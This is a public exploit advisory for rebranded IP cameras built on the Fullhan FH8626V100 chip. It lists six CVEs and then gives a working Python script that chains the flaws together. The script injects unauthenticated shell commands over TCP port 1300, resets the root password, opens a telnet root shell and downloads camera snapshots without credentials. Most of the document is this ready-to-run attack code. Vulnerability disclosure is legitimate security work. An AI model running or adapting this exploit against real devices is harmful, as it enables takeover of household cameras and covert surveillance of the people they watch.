# Exploit Title: Fullhan FH8626V100 - Multiple Vulnerabilities
# Date: 31-03-2026
# Exploit Author: Amir Aliu
# Vendor Homepage: https://www.fullhan.com/
# Software Link: N/A - OEM/whitelabel IP camera module, rebranded under numerous vendor/brand names
# Version: Firmware v201222.1007 (Device Model AJL30PG0803)
# Tested on: FH8626V100 SoC (Fullhan FH86xx family), AJL30PG0803 device, BusyBox v1.19.3, embedded Linux (ARM)
# CVE: CVE-2026-51402, CVE-2026-51403, CVE-2026-51404, CVE-2026-51405, CVE-2026-51406, CVE-2026-51407
# Blog: https://amiraliu.vercel.app/blog/breaking-into-my-own-camera
# Source: https://github.com/amiraliuks/ip-camera-research
# Summary
A range of rebranded IP cameras built on the Fullhan FH8626V100 SoC and shipped with the "CareCam Pro" app expose a chain of vulnerabilities that lead to full device compromise.
- CVE-2026-51402: TCP/1300 accepts <SYSTEM>...</SYSTEM>-wrapped shell commands with no authentication (blind OS command injection, CWE-78).
- CVE-2026-51403: The PSIA HTTP API (/PSIA/*) allows unauthenticated read/write access to device and network configuration (CWE-306/CWE-284).
- CVE-2026-51404: An unauthenticated JPEG snapshot is served on TCP/6688 (CWE-200).
- CVE-2026-51405: BusyBox telnetd is enabled by default via inetd, exposing a root shell to anyone holding valid credentials (CWE-287).
- CVE-2026-51406: /PSIA/Security/AAA/users discloses the admin username and password in plaintext with no authentication (CWE-522).
- CVE-2026-51407: Once shell access is obtained, /app/userdata/ifcfg.wlan0 stores the configured Wi-Fi SSID/password in plaintext (CWE-319).
# Exploitation Chain
The command injection (CVE-2026-51402) is used to reset the root password, which is then used to authenticate to the always-on Telnet service (CVE-2026-51405), yielding a full root shell with no valid credentials required at any point.
# Proof of Concept (PoC) [Full Chain]
import socket
import requests
import sys
import os
TARGET = None
NEW_PASSWORD = "root"
# Helpers
def send_system(cmd, port):
"""Send <SYSTEM> command to target"""
payload = f"<SYSTEM>{cmd}</SYSTEM>"
try:
with socket.socket() as s:
s.settimeout(3)
s.connect((TARGET, port))
s.send(payload.encode())
data = s.recv(1024).decode()
return data
except Exception:
return None
def check_port(port):
"""Simple TCP check"""
try:
with socket.socket() as s:
s.settimeout(2)
s.connect((TARGET, port))
return True
except:
return False
# Checks
def check_rce(port):
print(f"[.] Checking RCE on port {port}...")
res = send_system("ls", port)
if res and "<SYSTEM_ACK>ok</SYSTEM_ACK>" in res:
print(f"[+] RCE available on port {port}")
return True
else:
print(f"[-] Port {port} not vulnerable")
return False
def check_telnet():
print("[.] Checking telnet (port 23)...")
if check_port(23):
print("[+] Telnet is open")
return True
else:
print("[-] Telnet is closed")
return False
def get_snapshot(save=False):
print("[.] Fetching snapshot...")
try:
r = requests.get(f"http://{TARGET}:6688/snapshot.jpg", timeout=5)
if r.status_code == 200:
if save:
with open("snapshot.jpg", "wb") as f:
f.write(r.content)
print("[+] snapshot.jpg saved")
return r.content
else:
print("[-] Failed to get snapshot")
return None
except Exception:
print("[-] Request failed")
return None
def show_snapshot():
data = get_snapshot(save=False)
if not data:
return
tmp_file = "/tmp/snapshot.jpg"
with open(tmp_file, "wb") as f:
f.write(data)
print("[+] Opening snapshot...")
os.system(f"xdg-open {tmp_file}")
# Exploit
def reset_root_password():
print("[+] Changing root password...")
res = send_system(f'echo "root:{NEW_PASSWORD}" | chpasswd', 1300)
print(f"[+] Response: {res}")
if res and "<SYSTEM_ACK>ok</SYSTEM_ACK>" in res:
print(f"[+] Login -> user: root | pass: {NEW_PASSWORD}")
return True
return False
def open_telnet():
print("[.] Opening telnet session...")
os.system(f"telnet {TARGET}")
# Main
def usage():
print("Usage:")
print(" python exploit.py check <IP> [new_password]")
print(" python exploit.py snapshot <IP>")
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
sys.exit(1)
mode = sys.argv[1]
if mode == "check":
if len(sys.argv) < 3:
usage()
sys.exit(1)
TARGET = sys.argv[2]
if len(sys.argv) >= 4:
NEW_PASSWORD = sys.argv[3]
rce_1300 = check_rce(1300)
rce_843 = check_rce(843)
telnet = check_telnet()
# snapshot behavior like original script
snapshot = get_snapshot(save=True)
if snapshot:
choice = input("[?] View snapshot? (y/n): ").strip().lower()
if choice == "y":
os.system("xdg-open snapshot.jpg")
choice = input("[?] Keep snapshot file? (y/n): ").strip().lower()
if choice != "y":
os.remove("snapshot.jpg")
# Optional shell
if rce_1300 and telnet:
choice = input("[?] Get shell? (y/n): ").strip().lower()
if choice == "y":
if reset_root_password():
open_telnet()
elif mode == "snapshot":
if len(sys.argv) < 3:
usage()
sys.exit(1)
TARGET = sys.argv[2]
show_snapshot()
else:
usage()